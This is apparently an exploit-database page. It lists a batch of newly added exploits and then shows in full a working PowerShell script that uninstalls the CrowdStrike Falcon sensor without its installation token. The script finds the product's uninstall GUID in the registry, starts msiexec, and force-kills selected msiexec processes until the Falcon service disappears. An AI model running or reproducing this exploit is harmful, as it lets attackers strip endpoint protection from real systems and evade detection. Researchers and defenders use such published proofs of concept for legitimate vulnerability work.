42ade901fe
22 changes to exploits/shellcodes/ghdb LISTSERV 17 - Insecure Direct Object Reference (IDOR) LISTSERV 17 - Reflected Cross Site Scripting (XSS) Router ZTE-H108NS - Stack Buffer Overflow (DoS) Router ZTE-H108NS - Authentication Bypass Boa Web Server v0.94.14 - Authentication Bypass Covenant v0.5 - Remote Code Execution (RCE) Dreamer CMS v4.0.0 - SQL Injection Shoplazza 1.1 - Stored Cross-Site Scripting (XSS) Virtual Reception v1.0 - Web Server Directory Traversal 4images 1.9 - Remote Command Execution (RCE) ClicShopping v3.402 - Cross-Site Scripting (XSS) Concrete5 CME v9.1.3 - Xpath injection Device Manager Express 7.8.20002.47752 - Remote Code Execution (RCE) Ecommerse v1.0 - Cross-Site Scripting (XSS) Eve-ng 5.0.1-13 - Stored Cross-Site Scripting (XSS) myBB forums 1.8.26 - Stored Cross-Site Scripting (XSS) WPForms 1.7.8 - Cross-Site Scripting (XSS) CrowdStrike Falcon AGENT 6.44.15806 - Uninstall without Installation Token Lavasoft web companion 4.1.0.409 - 'DCIservice' Unquoted Service Path Zillya Total Security 3.0.2367.0 - Local Privilege Escalation
46 lines
No EOL
1.6 KiB
PowerShell
46 lines
No EOL
1.6 KiB
PowerShell
# Exploit Title: CrowdStrike Falcon AGENT 6.44.15806 - Uninstall without Installation Token
|
|
# Date: 30/11/2022
|
|
# Exploit Author: Walter Oberacher, Raffaele Nacca, Davide Bianchin, Fortunato Lodari, Luca Bernardi (Deda Cloud Cybersecurity Team)
|
|
# Vendor Homepage: https://www.crowdstrike.com/
|
|
# Author Homepage: https://www.deda.cloud/
|
|
# Tested On: All Windows versions
|
|
# Version: 6.44.15806
|
|
# CVE: Based on CVE-2022-2841; Modified by Deda Cloud Purple Team members, to exploit hotfixed release. Pubblication of of CVE-2022-44721 in progress.
|
|
|
|
|
|
$InstalledSoftware = Get-ChildItem "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall"
|
|
|
|
foreach($obj in $InstalledSoftware){
|
|
if ("CrowdStrike Sensor Platform" -eq $obj.GetValue('DisplayName'))
|
|
{
|
|
$uninstall_uuid = $obj.Name.Split("\")[6]
|
|
}
|
|
}
|
|
|
|
$g_msiexec_instances = New-Object System.Collections.ArrayList
|
|
|
|
Write-Host "[+] Identified installed Falcon: $uninstall_uuid"
|
|
Write-Host "[+] Running uninstaller for Crowdstrike Falcon . . ."
|
|
Start-Process "msiexec" -ArgumentList "/X$uninstall_uuid"
|
|
|
|
while($true)
|
|
{
|
|
if (get-process -Name "CSFalconService") {
|
|
Get-Process | Where-Object { $_.Name -eq "msiexec" } | ForEach-Object {
|
|
|
|
if (-Not $g_msiexec_instances.contains($_.id)){
|
|
$g_msiexec_instances.Add($_.id)
|
|
if (4 -eq $g_msiexec_instances.count -or 5 -eq $g_msiexec_instances.count){
|
|
Start-Sleep -Milliseconds 100
|
|
Write-Host "[+] Killing PID " + $g_msiexec_instances[-1]
|
|
stop-process -Force -Id $g_msiexec_instances[-1]
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
} else {
|
|
Write-Host "[+] CSFalconService process vanished...reboot and have fun!"
|
|
break
|
|
}
|
|
} |